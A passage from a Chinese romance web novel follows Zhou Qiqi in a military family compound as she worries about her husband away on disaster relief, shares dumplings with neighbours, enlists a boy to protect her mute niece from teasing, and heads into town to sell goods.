眼看着找人无望,男人有些无奈地撇了撇嘴。 “大伯娘,你一直拽我干什么?” 他语气里满是委屈。 周淑华将两个小孙子塞进车里,“砰”的一声重重关上车门,随后双手叉腰,站在车外质问。 “你还问上我了,我倒要问问你呢!” “雷鸣,我接个孩子的工夫,你怎么在那儿跟个女人搂搂抱抱的?这里是军属区,影响多不好!” 雷鸣赶忙摆手,神色慌乱。 “我不是,哎呀,大伯娘,你误会了,是她摔倒了...” 话一出口,他又急忙摇头。 “也不是她摔倒了,是有个小胖子,还有一棵树,树倒了,要砸小胖子,她和我一起救人,然后才...总之,总之...她很好,很善良。” 他情绪有点激动,一张脸涨得通红,只简单说了几句。 “什么乱七八糟的?” 周淑华撇了撇嘴。 什么树啊,小胖子,她都没看见。 眼见为实,她只知道,自己刚才一回过头,就只看到侄子雷鸣和周柒柒两个人搂在一起说话。 一想起刚才那幕,她就气不打一处来。 这个周柒柒,她本来就不太喜欢,她那张脸,看到就让她有点心烦意乱。 一个农村姑娘,咋就能忽然顶替了林瑶,嫁给沈淮川呢。 她怀疑对方是设计勾引了沈淮川,才能嫁过来随军的。 生活作风肯定有问题。 结合刚才那一幕,她更是认定这个周柒柒这女人不检点。 怎么随便就和男人搂搂抱抱起来了? 她板着脸,语气严厉地警告道。 “我告诉你,你离周柒柒远一点,她可不是什么好女人,她已经...” 在她眼里,侄子雷鸣和沈淮川一样,心思单纯,没见过世面,很容易被女人骗。 雷鸣眼睛瞬间亮了起来,周淑华话还没说完,他就急切地追问。 “大伯娘,你认识她?周柒柒,她叫周柒柒?柒柒?真好听...” 车里两个孩子闹腾得紧,人又多,司机按了按喇叭,周淑华没来得及说什么,先推着雷鸣上了车。 “先回家再说。” 一路上,雷鸣脸上挂着痴痴的笑。 自从在火车上遇见周柒柒,他就对她一见钟情,觉得她鲜活灵动、聪慧机灵,梦里都经常梦到她。 刚刚又见她勇敢救人,那毫不犹豫扑过去的身影,更让他心动不已。 他还是第一次对一个人有这么强烈的感觉。 车子一停稳,雷鸣就迫不及待地把周淑华拉到一旁,认真地说。 “大伯娘,你不是说要给我介绍对象吗?就她吧...” 周淑华翻了个白眼,没好气地说。 “她什么她!她已经结婚了,对象就是我和你大伯常常提的,他最喜欢的那个兵——沈淮川!” “什么?这不可能吧?” 雷鸣瞪大了眼睛,满脸震惊。 “我记得,你之前说沈团长是个老大难,有个城里的未婚妻,叫林什么来着,但是一直没结婚的啊?” 之前在火车上,他一听沈淮川的名字,就知道他是谁了。 他们家和大伯家来往密切,大伯娘常和母亲通电话,聊天话题里总少不了沈淮川的个人问题。 所以在火车上,沈淮川说周柒柒是他媳妇时,雷鸣就不咋信。 后来也是亲耳听到他的勤务兵说,他还没结婚,自然而然地就觉得,那姑娘和沈淮川没关系,估计是沈淮川也看上人家了,跟他抢呢! 他自信和沈淮川比起来,自己绝对是条件更好的那一个。 此刻听大伯娘这么一说,他完全懵了,怎么都不愿相信。 周淑华见状,解释道。 “原来是这样的,但不知道为什么,结婚对象就稀里糊涂地换人了,她差不多一个礼拜前坐火车过来的,那天晚上,我们都睡了,沈淮川忽然过来敲门,找你大伯交结婚报告,我们也是那个时候,才知道的这事儿。” 一个礼拜之前的火车? 那岂不是他碰见她的那一回? 那个时候,他本来是想上去跟她说话的。 他脑子里有强烈的冲动,想直接问她愿不愿意嫁给他。 可明明都快到跟前了,就是没迈出那一步... 没想到再见面,却是这样的情形。 雷鸣只觉得心口像是被重锤狠狠砸了一下,疼得厉害。 眼看着雨下个没完,周淑华招呼道。 “行了行了,别说这个了,雨下这么大,赶快回家吧。” 雷鸣却摆了摆手,声音有些低沉。 “大伯娘,你先进去吧,我想自己在外面待会儿...” 说着,便是头也不回地冲进了雨幕当中。 而此时,周柒柒揽着舟舟刚冲出雨幕,到了自家院子。 刚摘下雨披,她就接连打了好几个喷嚏。 “这趟跑的,人都着凉了。” 进了家门,她赶忙去灶房切了姜片和葱段,熬了一锅葱姜水,给舟舟和自己各盛了一大碗。 喝下去后,身上才渐渐有了暖意。 外头雨下得大,她就想着做点热乎饭,搅了点面疙瘩,做了点西红柿疙瘩汤。 另外锅里还蒸了豉汁排骨,蒜茸金针菇。 怕沈淮川回来凉了,一直用小火热着。 但左等右等,沈淮川都没回来,外头的雨也越下越大。 她先让孩子吃了饭去休息,自己边干活边等着。 但可心里惦记着人,这活儿怎么也干不利索,手都差点伤着了。 直到晚上八点,她实在等不下去了。 第36章 担心他只是义务 “莹莹~你在家吗?” 周柒柒的声音裹着风雨,在紧闭的门前显得格外急切。 朱莹莹打开门,看到周柒柒就打了个伞,身上都淋湿了。 赶忙伸手将她拽进屋内,顺手去架子上扯过一条毛巾递来。 “下这么大的雨,你咋还跑过来了?” 莹莹蹙着眉,语气里满是担忧。 柒柒接过毛巾,却没顾得上擦拭,目光急切地在屋内扫视一圈,问道。 “你们家老王回来了吗?” 莹莹抓起毛巾,一边帮柒柒擦头发,一边摇头。 “不在啊!他们带着团里人去救灾了!不是都通知了吗?你不知道吗?” “什么?我不知道啊,没人告诉我啊!” 周柒柒瞪大了眼睛,睫毛上还挂着水珠,脸上满是茫然无措。 莹莹赶忙拉她到椅子上坐下,详细解释道。 “早上气象台那边有消息说是有可能要下暴雨,他们就全体待命了,下午五点多那会儿,派了人过来报信,说是隔壁市的几个镇子发生泥石流,还有山体滑坡,他们带着人去营救了。” 说着,她轻轻叹了口气,眼里带着几分无奈与心疼。 自从嫁给王团长这半年多,这样的情况已经不是第一次了,可每一次,她的心还是会揪着。 “那个时候我去学校接舟舟了,估计和报信的错过了。” 柒柒长舒一口气,总算是知晓了沈淮川的去向。 可紧接着,她眉头紧紧拧起,眼底满是担忧。 “他们去营救,要几天啊?” “这个就不知道了,要看受灾程度,可能明天就回来了,也可能得去好几天,要是太严重,还得帮着村民们重建房子,估计十天半个月都回不来。” 朱莹莹的话,让周柒柒刚放下的心又悬到了嗓子眼。 “那会不会有危险?不会出什么事儿吧?” 柒柒无意识地攥着衣角,指尖微微发白。 莹莹拍了拍她的手,语气笃定。 “别瞎想,沈团长那么厉害,军区里有名的‘活阎王’,各项本事都是拔尖的,能出啥事儿?你就安安心心在家等着!” “好,谢了,莹莹。” 柒柒扯动嘴角,勉强挤出一丝笑意,有气无力地擦着头发。 莹莹看她这样,开玩笑地调侃着。 “你对沈团长真上心,刚才都急坏了吧?这么稀罕他呀?” “什么稀罕不稀罕的,说什么呢!” 柒柒擦头发的手立马停了下来,掩住发烫的耳尖,别扭地说道。 “我是他媳妇,担心是应该的。” 毕竟当初她答应过的,要当一个优秀的妻子,一个合格的军嫂,现在她只是在履行义务而已。 舟舟还一个人在家,柒柒也没再莹莹多说,赶紧回家去了。 本想着趁还没熄灯,再做些手头的活儿,谁知刚到家,屋内便陷入一片黑暗。 这年代,暴雨总是容易引发停电。 无奈之下,她只能先烧了热水,简单和舟舟洗漱一番,便上了床。 上辈子单身二十几年,她早已习惯独睡一张床。 前两日沈淮川睡在身旁,她总觉得浑身不自在,连翻身都小心翼翼,夜里也睡不安稳。 (沈淮川:是吗?我怎么不知道...) 今天身边没了人,按理说,应该感觉很轻松才对。 但不知道为什么,身边没了那个熟悉的气息,她就是觉得不对劲。 沈淮川那张冷峻又带着几分温柔的脸,不停地在她脑海里浮现。 也不知道他这会儿在做什么? 有没有吃上热乎饭? 能不能好好歇一歇? 就这样折腾到后半夜,她才迷迷糊糊睡去。 第二天,雨小了些,却依旧淅淅沥沥下个不停。 她没什么胃口,给舟舟煎了鸡蛋饼,冲了杯麦乳精,吃完就送她去上学了。 回来本想喝杯羊奶当早饭,后知后觉才想到—— 沈淮川不在家,没人大早上出去给她打羊奶了。 这几天每天早上她都喝这个,其他东西也没胃口吃。 要知道,以前她虽然在吃的方面穷讲究,但是也从来不挑食啊! 都怪这个沈淮川,害人不浅! 她拿出准备给沈淮川做睡衣的格子布料,狠狠地用针扎了上去! 眼中凶光毕露,然后恶狠狠的... 缝了几只白白胖胖的小奶瓶上去。 看着自己的“杰作”,勉强感觉大仇得报,又缝了几针,越看越满意。 正得意着呢,有人敲门。 开门一看,是莹莹抱着几本英文书站在门外,眉眼带笑。 “怕你一个人在家闷得慌,来陪陪你。” 周柒柒挑眉,语气笃定。 “你想多了,我周柒柒像是离了老公就六神无主,要人陪着的人吗?” 莹莹瞥了眼她眼下浓重的黑眼圈,想起她昨晚心神不宁的模样,强忍着笑意,伸手揽住她的肩膀。 “好好好,你不是!你就当是陪我好吗?老王不在,我都没心思翻译了。” “行吧。” 柒柒勉强地晃了晃脑袋。 两人凑在一块,一个在缝纫机上忙活,一个拿着纸笔埋头翻译,累了就闲聊一会儿,时间倒也过得挺快。 反正王团长也不在家,中午和下午,柒柒都留了莹莹在她家里吃饭。 到了第三天早上,雨终于停了。 周柒柒去了一趟邓翠香家,给她送改好的衣服,顺便问她去不去集市。 她可是个十足的路痴,第一次来军属区就迷了路,走了整整两个小时才找到地方,脚都磨出泡来了,可不想再经历那种痛苦。 邓翠香家里正巧没油了,便和她一起去。 这小集市距离军属区不远,走路也就二十分钟,但是要钻过一条小山里的小隧道。 跟桃花源记似。 钻过去,眼前豁然开朗,是一片热闹的空地。 也许是因为前几日下雨的缘故,今天来赶集卖东西的人格外多。 吆喝声此起彼伏,肉摊、米面、蔬菜,还有竹筐、草帽。 各式各样的摊位上,商品琳琅满目,甚至还有活鸡在摊位上扑棱着翅膀。 “太好了,这下不愁没肉吃了。” 周柒柒眼睛一亮,家里的肉和鸡蛋早吃完了,连着吃了两天素菜,她浑身都不舒坦。 邓翠香笑着打趣。 “咱们家属院,也就你们家有这‘烦恼’,怪不得邱春芳总说你贪嘴,是个败家娘们儿呢!” “翠香姐,你也这么想我?” 周柒柒佯装委屈。 邓翠香大力揽过她肩膀。 “咋可能?要是我男人像沈团长那么有本事,津贴那么高,我天天炖红烧肉!” “可惜他没本事,我也没手艺,还生了一对活宝儿子,一个赛一个地能吃,只能乐呵点过了!” 说着,她指了指不远处,“走走走,那边有烤红薯,咱们买点热乎的!” 这一趟,周柒柒收获满满,买了不少东西。 临走的时候,又想起羊奶的事儿了,问了几个摊主哪里有羊奶可以买。 她估摸着,沈淮川平时也是在这里给她买的。 但没想到,问了几个摊主,都说不知道,问到那家卖活鸡的,才终于问到了。 不过他的回答却有些出乎柒柒的预料。 第37章 好看的小哑巴 “咱们这周围几个村子就没有养羊的,你要是想喝羊奶的话,得去那头的大兴村,那路可就远了,得走4、5公里呢!” 摊主一边整理着摊位上的活鸡,一边慢悠悠地说道。 “什么,4、5公里?” 周柒柒眼睛瞪大,整个人瞬间泄了气,肩膀也跟着耷拉下来。 她掰着指头算了算,去一趟来回就是十公里,整整一万米。 想起自己绕着四百米操场走两圈就气喘吁吁的样子,这一万米光是想想,两条腿就开始发软。 不过转念一想,沈淮川居然每天早上来回十公里,就为了给自己打新鲜羊奶? 她咬了咬嘴唇,心里却泛起丝丝暖意,唇角不自觉上扬,可还是忍不住抱怨。 这家伙,明明长嘴了,怎么不说呢? 要是知道这么远,她肯定不让他天天这么折腾。 今天邓翠香也割了点肉,准备在家里包饺子吃。 “那天大雨,我大儿子捡到别人钱包,追了十里地给人送回去了,拾金不昧,必须得奖励他一顿!” 回去的路上,顺便邀请柒柒和莹莹一起过去。 “吃饺子的人多才热闹,家里男人都不在,咱们正好热络热络,让你们也尝尝翠香姐的手艺!” 柒柒没拒绝。 上辈子在公寓独来独往,还从没体验过这样热闹的邻里聚餐。 她转身回家拎了几瓶橘子罐头,莹莹也抱来几罐午餐肉。 邓翠香正在厨房李拌馅呢,抬头看见两人手里的东西,立刻起身来阻拦。 “你们来就来,还带啥东西啊?拿回去,拿回去!不拿回去不许进门!” 柒柒挑眉,把罐头往桌上一放。 “就许你奖励孩子饺子,不许我们这些阿姨奖励了?” 她都这么说了,邓翠香也就不拒绝了。 两人洗了洗手,就过来帮忙。 邓翠香已经把面发好了,柒柒负责切剂子,擀皮,邓翠香和莹莹负责包。 莹莹是南方人,从没包过饺子,握着面皮傻站在那儿,手足无措。 “没事,姐姐教你!” 邓翠香拍了拍莹莹的手背,拿起一张面皮示范。 “先是放馅,然后把边捏起来,最后这么一折,诺,这不就好了嘛!” 她也是南方人,之前家里从来没包过饺子,但嫁给个北方汉子,慢慢地,这些也都学会了。 莹莹看得挺认真的,眼睛也都学会了,但是一开始动手包,却怎么都包不好,不是破皮露馅,就是歪歪扭扭的丑得很,自己都有点不好意思了。 柒柒在围裙上擦了擦手,轻轻拍了拍她肩膀。 “没事,莹莹亲手包的,待会儿单独煮,我想吃。” 邓翠香笑着打趣。 “你还想抢呢?我家向阳,就是我那个小儿子,以前可爱吃破皮的片汤了,你这正好都给他吃~!” 话音未落,一阵急促的脚步声传来。 一个穿着蓝色条纹衫、背着歪歪扭扭军绿色书包的小男孩像一阵风似的冲了进来,看到桌上的饺子,兴奋地直蹦。 “耶!饺子!饺子!我最爱吃饺子了!老妈万岁!” 说着就要扑进邓翠香怀里。 邓翠香笑着躲开,嫌弃道。 “姜向阳,你这泥猴子,怎么又一身泥点子,去去去~离远点~!” 小男孩挠了挠头,正要走,又被邓翠香叫住。 “等下~没看见家里有客人啊,先叫人!” “这个是朱阿姨,这个是周阿姨。” 姜向阳咧嘴一笑,露出两颗大门牙。 “朱阿姨好~周阿姨好~” 邓翠香又补充道。 “周阿姨就是上次给你带糖炒栗子那个~这次又给你带了橘子罐头,朱阿姨给你带了肉罐头。” 姜向阳眼睛一下子就亮起来了,“朱阿姨万岁~!周阿姨万万岁~!” “这孩子就这样~话多~” 邓翠香拿着笊篱作势要打,姜向阳笑着跑开了。 柒柒笑着擀完手里最后一个剂子,看了眼表,急忙解下围裙。 “哟,十二点五分了,我得去军属区门口把舟舟带过来。” 平时舟舟差不多十二点十五分左右到家。 邓翠香却把她按下。 “你别跑了,干半天活儿,坐着歇一会儿,让向阳去叫吧~他们一个年纪的~都是同学~” “姜~向~阳~!” “到~!” 话音没落呢,小皮猴子就风风火火地跑过来了,绷直了身子敬礼。 邓翠香叉着腰发号施令。 “周阿姨的侄女,沈渡舟,舟舟,你认识吗?你去军属区门口,把她领咱们家来,今天她也在咱们家吃饭!” 姜向阳眼睛一亮。 “舟舟?我知道她!就是2班那个好看的小哑巴吧?保证完成任务~!” 说完撒腿就跑。 邓翠香在后面追着喊。 “臭小子!不许叫人家小哑巴!” 她有些尴尬地看向柒柒。 “柒柒,你别介意,他不是那个意思,等他回来,我肯定教育他!” “嗨,没事。” 小孩子口无遮拦,但没坏心,柒柒笑着摆了摆手。 但心里却有点为舟舟揪心。 她想起自己小时候,父母离婚后常没人接放学,班里同学叫她“没人要的野孩子”。 那时她太小,也不知道反抗。 那些人就变本加厉,朝着她身上吐口水,把她的作业丢进厕所里。 可舟舟从不说话,也不表露情绪,也不知道在学校有没有被欺负。 正想着呢,锅开了,周柒柒帮着翠香姐去下饺子。 今天她们包了两种馅,猪肉大葱和韭菜鸡蛋的,分成两个锅来下。 柒柒负责猪肉大葱的那锅。 这煮饺子,也有小诀窍,大火煮开下饺子之后,转成中火。 等水滚了,肉馅的点两次冷水,素馅的点一次,饺子皮透明之后,就得赶紧捞出来。 这样煮出来的饺子,内陷透了,皮还不破。 饺子刚盛出来,院门外又是一阵“哒哒哒”的脚步声。 还没瞧见人呢,先听见小男孩清亮的声音。 “快进来~!我妈包的饺子可好吃了!” 姜向阳拉着舟舟跑进来,小姑娘脸蛋红扑扑的,虽然是被拽着来的,神色却很镇定。 邓翠香眼睛一亮,连忙迎上去。 “你就是舟舟?这小模样,真好看!快过来让邓阿姨抱抱~” 她最稀罕小姑娘了,无奈肚子不争气,生了两个都是小子。 第38章 保证完成任务 舟舟刚才被姜向阳拽着手时没露怯,这会儿被邓翠香这么热情地招呼,却脸颊泛红,躲到柒柒身后。 柒柒转过身,将她轻轻拢进怀里,带着去洗手。 小姑娘垂着眼睫,温顺地跟着,眉眼间平静无波,瞧不出半分情绪起伏。 这时,姜家大儿子姜向海踩着时间点回来了。 看到家里有客人,他立刻礼貌地打招呼,然后就自觉去洗手。 邓翠香望着大儿子,眼角眉梢都是欣慰,嘴角的笑意怎么也藏不住。 “向海这孩子懂规矩,学习也好,在班里还是班长,可比向阳那皮猴子强多了!” 她语调轻快,带着几分炫耀。 正在帮忙端盘子的向阳手猛地一抖,柒柒眼疾手快,赶忙接过盘子,动作轻柔地搁在桌上,帮着向阳说话道。 “别这么说,我看向阳那孩子也挺好,多懂事啊,还帮着端盘子呢!” 邓翠香无奈地摇了摇头。 “还不是因为有他爱吃的,这小子,贪嘴得很,给口吃的就能帮人卖命!” 这顿饭吃得热闹极了,向阳这孩子活泼好动。 先是在桌子底下偷偷踩哥哥的脚,又趁邓翠香不注意,迅速夹走她碗里的肉饺子,还一本正经地数着大家吃了几个。 时不时还偷瞄几眼舟舟,大眼神里带着好奇。 “不许盯着人家女娃娃看!” 邓翠香吹胡子瞪眼的,举着筷子,追着他满院子跑。 柒柒瞧着这场景,感觉自己回到了上辈子边吃饭边追剧的日子。 只不过是第一排VIP座位的现场live版。 今天的饺子格外香,韭菜和大葱都是后院现割的,透着一股清新的味道。 邓翠香种菜确实有一手,后院绿意盎然,看着就让人舒心。 临走前,舟舟去厕所了,邓翠香专门逮着姜向阳到柒柒面前道歉。 向阳这孩子皮归皮,但在邓翠香的教育下,三观还是很正的,耳朵泛红,挠着头,眼中满是诚恳。 “周阿姨,前几天放学路上,我听见几个小孩叫舟舟小哑巴,就跟着叫了,我不是故意的,我保证,以后绝对不会了。” 柒柒一听,眉头瞬间就皱了起来。 “哪几个小孩?” 向阳摇了摇头,有些懊恼,“没看见。” 邓翠香气的拍了拍桌子。 “太过分了!舟舟可是缉毒英雄的孩子,只是因为特殊原因才说不出话,他们怎么能这么叫她呢!” 柒柒也怒意翻涌,但她强迫自己冷静下来。 她咬了咬唇,蹲下身子,与向阳平视。 “向阳,周阿姨有个任务交给你,你愿不愿意?” “愿意!” 向阳回答得干脆,胸膛挺得高高的。 周阿姨做的糖炒栗子那么好吃,人也长得好看,肯定是好人。 “好孩子。” 柒柒伸手轻轻拍了拍他的肩膀,认真地交代。 “以后上下学回家路上,你跟在舟舟后面,帮阿姨看看,有没有人欺负她,如果有的话,记下来是谁,然后第一时间告诉阿姨!可以吗?” 她本来是想着自己来回送舟舟上下学的,有她这个大人在身边,相信那些人就不敢欺负舟舟了。 可这样终究治标不治本。 可她护得了一天两天,却也不能每天都护,总有有事得时候。 等她不在的时候,那些人冒出来欺负舟舟,怎么办? 想来想去,还是把这件事拜托给向阳,让他帮忙把那些人揪出来比较好。 “这...” 向阳犹豫了,他咬着嘴唇,眼神有些纠结。 虽然舟舟长得很好看。 但他可是男孩子,舟舟是女孩子,让他每天跟着一个女孩子,被别的同学看见了,多不好意思,肯定会有人笑话他的。 邓翠香在一旁着急,推了他一把。 “这什么这,这点小事儿,咱们肯定得帮啊!快,说答应!” 柒柒赶忙阻拦,“别,翠香姐,咱们不能强迫孩子。” 她眼珠一转,又温声道。 “这样吧,向阳,只要你答应,以后周阿姨保证,每个礼拜都给你拿好吃的,什么糖块啊,巧克力啊,糖葫芦什么的,你想吃什么我给你什么!怎么样~?” 糖块?巧克力?糖葫芦? 向阳眼睛瞬间亮了,咽了咽口水:“真的?” 柒柒神色郑重地点头。 “绝对是真的!我用你沈淮川叔叔的名义发誓!不给你的话,他就是小狗~!” 抬手敬了个标准的军礼,声音响亮。 “保证完成任务~!” 邓翠香无奈地叹了口气。 “吃吃吃,你怎么就知道吃呢!咋就不能跟你哥学学...” 被邓翠香这么一说,向阳小身子立马蔫吧下去,柒柒见状,赶忙打圆场。 “翠香姐,你别总这么说,我感觉向阳挺好的,敬起军礼来,和我家沈淮川一模一样,将来肯定有大出息!” “周阿姨,你说的是真的?” 沈团长可是他们军区里的战斗英雄,小家伙的眼睛瞬间又重新点燃了,一脸期待地看着柒柒。 柒柒拍了拍他的肩膀,“那可不?阿姨相信你!” 这一番话,让姜向阳干劲十足。 这傻小子中午都不午睡了,早早地就在周柒柒家院子外头守着。 等沈渡舟一出来,他便不紧不慢地跟在后面,警惕地扫视四周,直到看着舟舟安全坐下,才转身回教室。 下午放学铃一响,他第一个冲出教室,眼巴巴等着舟舟。 一路跟着送舟舟到家后,他才撒开腿跑去找小伙伴玩。 邓翠香和周柒柒躲在大树后,一左一右探出脑袋,紧紧盯着两人的身影。 看着舟舟平安到家,两人才松了口气。 邓翠香拍了拍柒柒的肩膀。 “向阳这小子任务完成得还可以,你放心吧,有他在,没人敢欺负舟舟的!” “那些坏孩子,估计不是一天两天就能揪出来的,咱们慢慢等着吧~” 说着又一脸担忧。 “行了,你赶紧回家吧,不然舟舟回到家发现家里没人,估计得急哭了!” 柒柒笑着摇了摇头。 “舟舟才不会呢,你别看她平时不怎么表露心情,但实际上不怎么怕生,不论什么时候,都表现得很镇定,是个很坚强的小孩。没人在家,她也只会自己乖乖坐在桌子前画画,才不会哭呢。” 邓翠香羡慕地咂咂嘴。 “啧啧啧,女娃娃就是好啊,我家向海还好,那向阳,简直皮地没边了,整天上房揭瓦,给家里整的鸡飞狗跳的,要是可以,我都想和你换换了,让舟舟来当我闺女...” 两人正说着,肩膀突然被人拍了一下。 “邓翠香,周柒柒,你们俩干什么呢?偷偷摸摸,跟人贩子似的?” 第39章 雷鸣的八卦 邓翠香猛地一颤,慌忙回过头,眉梢瞬间蹙起,撇着嘴露出不满神色。 “李红娟!你这话几个意思?说谁是人贩子呢!” 她语调尖锐,带着几分恼意。 李红娟脸上堆起笑意,连连摆手示意。 “对不住,对不住,主要是你俩这打扮,要不是春芳告诉我你俩在这儿,我真认不出来...” 这事确实怪不得她。 两人裹着黑色外套,大头巾将脸遮得严严实实,还躲在树后鬼鬼祟祟的,任谁见了都要起疑。 邓翠香与周柒柒对视一眼,看见对方的模样,都忍不住笑出声,赶忙摘下头巾。 邓翠香瞧着李红娟欲言又止的模样,开口问道。 “咳咳,我俩闹着玩不行啊?怎么,你找我有事?” 李红娟这回没有阴阳怪气,而是态度诚恳,话语里带着讨好的意味。 “明天我妈和我妹过来,我们家包饺子吃,缺点青菜,春芳说你家韭菜和菠菜种得多,长得还特别好,给我拿点呗?” “这邱春芳咋啥都知道?” 邓翠香满脸的嫌弃,不过也没拒绝。 “我家今天刚包的韭菜饺子,割了一茬了,韭菜剩的不多,菠菜倒是还不少,你要的话,明天早上上我家割去。” 虽说她不太待见李红娟,但同在军属区,一点青菜也犯不着计较。 “行~谢谢!明儿个一早我就过去!” 李红娟立马喜出望外,从兜里掏出来一把糖递了过去。 还特意给周柒柒也抓了一把。 邓翠香捏着大虾酥糖,咂舌道。 “这可是百货大楼才有的高级货,我家向阳成天念叨着想吃,我都没舍得买!啧啧,红娟,你这回可是下血本了!” 李红娟捂着嘴轻笑,眼底藏不住的得意。 “嗨,哪有那么夸张!一点酥糖而已,向阳喜欢,等哪天办事,让他来我家,我多给他抓点!” 说着又热情招呼周柒柒。 “还有柒柒,到时候你也来,把莹莹,还有王团长、沈团长都叫上!” “家里还有一堆事儿,先不聊了,我先走了~!谢谢你啊,翠香~” 李红娟脚步轻快,匆匆离去,背影都透着股春风得意。 周柒柒一脑门的问号。 “这都什么跟什么啊,我怎么一句都听不懂?她什么时候对我和莹莹态度那么好了?改邪归正了?” “什么改邪归正,她那是得意忘形了!” 看周柒柒还一头雾水,邓翠香一把将周柒柒拉到旁边,鬼头鬼脑地八卦起来。 “雷鸣,还记得吧,我那天刚跟你说过的!” “不记得了。” 她这几天脑子浑浑噩噩的,这种和她生活无关的小事儿,早就忘到九霄云外去了。 邓翠香赶紧给她解释了起来。 “哎呀,就是雷政委和周主任的侄子,小伙子长得俊,家里条件也好,父母在机关单位当领导,哥哥姐姐不是厂长就是老师,一个比一个有本事!” “前几天周主任说要给他介绍对象,家属院这几天都在议论,都说谁嫁过去,就是掉进福窝里了!” “好多人送照片,小伙子都没看上,唯独留下了李红娟妹妹的照片!” “这不,正安排两人见面相看呢!” “李红娟得意得很,恨不得让所有人都知道她要攀这门亲戚!” 说了半天,周柒柒总算明白是怎么回事了,不过她还是有些不解。 “这有什么好得意的?又不是她结婚,而且,这不都还是没影儿的事儿吗?” 邓翠香撇了撇嘴。 “好面儿呗~!跟她爱人,保卫科科长廖爱民一个样儿~!就想让别人知道自己过得好!” 两人跟这儿正八卦着呢,远处传来一声怒吼,隐隐约约能听见有人在求饶。 邓翠香立马听出,这是自己儿子的声音,神色淡定地拨开一颗酥糖塞进嘴巴里,咬得嘎吱作响。 “地儿,向阳这小子指不定又闯啥祸了,我过去瞧瞧去~!” 柒柒点了点头。 “行~翠香姐,那你别忘了,明天中午帮我照顾一下舟舟吃饭。” 明天周五,周柒柒打算去城里摆摊做生意。 周一的时候跟客人说好了过两天去的,结果下了三天的雨。 周六日舟舟放假在家,沈淮川又不在,她得留在家里照看舟舟。 明天再不去的话,要等到下周一再去,耽误的时间就有点长了。 本来是想让莹莹帮着照顾舟舟的,但是想了想,还是去翠香姐家里比较合适。 有个同龄的姜向阳在,没准能开心点。 这孩子心思太重了。 邓翠香立马应下,“没问题~!我巴不得拐舟舟到我家呢!” 和翠香姐分开后,柒柒去电话室打了个电话就回家了。 舟舟果然乖乖地在自己房间里画画,不过小耳朵却是竖得高高的,在听着外面的动静。 邓翠香正在那儿揍向阳呢,小家伙满家属院乱窜,哭爹喊娘的,正路过她家后院。 柒柒心意一动,凑了个脑袋到舟舟门口,漫不经心道。 “舟舟,你平时画画,不一定非要跟着画画书里教的那些,你可以画点自己眼睛看见的,耳朵听见的,心里想到的,梦里梦见的,画什么都可以,随便画~” “反正你叔叔津贴多,随便你霍霍~” 说着她也不等舟舟回应,自顾自的就走了。 舟舟抬头望向她离开的背影,耳边听着外头的哀嚎,一双好看的大眼睛转了转,若有所思地提起了画笔... 柒柒伸长了脑袋,从窗户外面看到这一幕,嘴角勾起来,打开水龙头开始洗菜。 中午吃的饺子还挺顶饱,这会儿也没怎么感觉饿,简单烧了个丝瓜瘦肉汤,烫了个青菜。 主食是蒸红薯。 集市里大婶自家种的,甜滋滋的,柒柒一口气吃了两个。 吃饱喝足,烧了点热水,洗完澡,她就去缝纫机跟前忙活了,一直忙到熄灯,才回过神来。 把手里刚做好的男士睡衣放在沈淮川躺着的那边,赶紧躺下了。 第二天清晨,舟舟上学后,周柒柒拎起蛇皮袋准备出门,莹莹过来了。 “柒柒,真不用我陪着你一起去吗?” 那个冉红霞那么坏,柒柒一个人过去,她真有点担心。 柒柒连忙摆手。 “真不用,你还有你的事儿要忙呢,我一个人能行。” 她挎包里揣着辣椒水呢,而且之前沈淮川教了他几招防身术,对付一般人够用了。 莹莹知道她是个有主意的人,也不坚持了,拍了拍她的肩膀。 “行吧,看你这样子,昨晚睡得挺好的?” “咳咳...” 周柒柒耳尖泛红,随便敷衍几句,借口时间紧匆匆离开。 不过她没往平时等采买车的方向走,而是朝着相反方向去了。 第40章 柒柒是公安局局长女儿? “小姑娘,这里~~!” 家属院西边小门外,三十几岁的赵大梅坐在驴车上,眉眼弯弯地扬声招呼。 见周柒柒拎着东西步履蹒跚,她忙将咬了一半的干馒头搁在车辕上,利落跳下车,快步迎了上去。 周柒柒微怔,随即开口,“大姐,等急了吧?” 赵大梅连连摆手,“没有没有,我也是刚到!” 驴车“嘚嘚”碾过土路,朝着城里晃悠而去。 赵大梅自我介绍,说是之前免费载她回家属区那位老汉的儿媳妇。 那天到军属区门口,周柒柒想着来回坐采买车不方便。 就问大爷能不能包他的车,来回接送她去城里。 大爷说自家就在隔壁村子,儿子跑这营生,早晚往返城里赚些辛苦钱,要用车提前给村委会打电话捎个话就行。 “爷爷不是说,是他儿子来吗?怎么...” 周柒柒疑惑地看向赶车的赵大梅。 赵大梅握着缰绳的手顿了顿,语气平淡。 “以前是我男人跑这活儿,去年他突然走了,就换成我了。打那以后,公公脑子也糊涂了,常记不住事儿。” 怪不得大爷家明明就在隔壁村,第一次遇见,却不知道军属区在哪儿呢。 晨光勾勒在赵大梅棱角分明的侧脸上。 周柒柒轻轻摩挲着身下柔软的垫子,眸光闪动,脆声声问道。 “赵大姐,你知道大兴村在哪儿吗?” ———— 大半个小时后,驴车稳稳停在城里一处路口。 赵大梅帮着卸下蛇皮袋,周柒柒从包里摸出两毛钱递过去。 “赵大姐,这是今天来回的车钱,你拿着。” 赵大梅慌忙后退半步,双手连摇。 “使不得!你先前已经给了包月的十块钱了,我咋能再要钱?” “那十块是这个月送羊奶的钱,两码事!” 周柒柒硬把钱塞进她衣兜,佯装威胁。 “拿着!你不收,下午我就不坐车,自己走回去,看你怎么办!” 眼前的女娃娃明明语气凶巴巴,却透着股娇憨劲儿,跟村口那只狸花猫似的。 赵大梅眼眶刚泛起的泪花,被这几句话逗得瞬间没影儿了,她笑着问。 “那下午四点来接你?” 周柒柒估算了下时间,点头应下。 驴车不能进市中心,她拎着蛇皮袋走了半条街,回到熟悉的摆摊路口。 今天这儿热闹得很,摊位密密麻麻,摆得满满的,就连之前空荡荡的十字路口,都有人摆摊。 不过好在还留下了一小块空地,也够她用的了。 周柒柒正忙着支摊儿呢,远远就瞧见三四个穿着制服的公安大步朝着这边走了过来,个个神情严肃,气势十足。 她心头一紧,忙问隔壁卖袜子的大姐。 “大姐,怎么这么多公安,这儿是出什么事了吗?” 大姐穿一件白衬衣,干干净净的,人也面善,笑眯眯安抚道。 “小妹别怕,他们是过来巡逻的,专门在人多的地方转悠,防着出事。” 柒柒一愣,“巡逻?上次咋没见着?” “就前几天新成立的,分了好几个小队。” 那敢情好~! 这下冉红霞就没办法找事儿了! 周柒柒唇角微扬,下意识去寻冉红霞的摊位,却见那里站着个陌生男人。 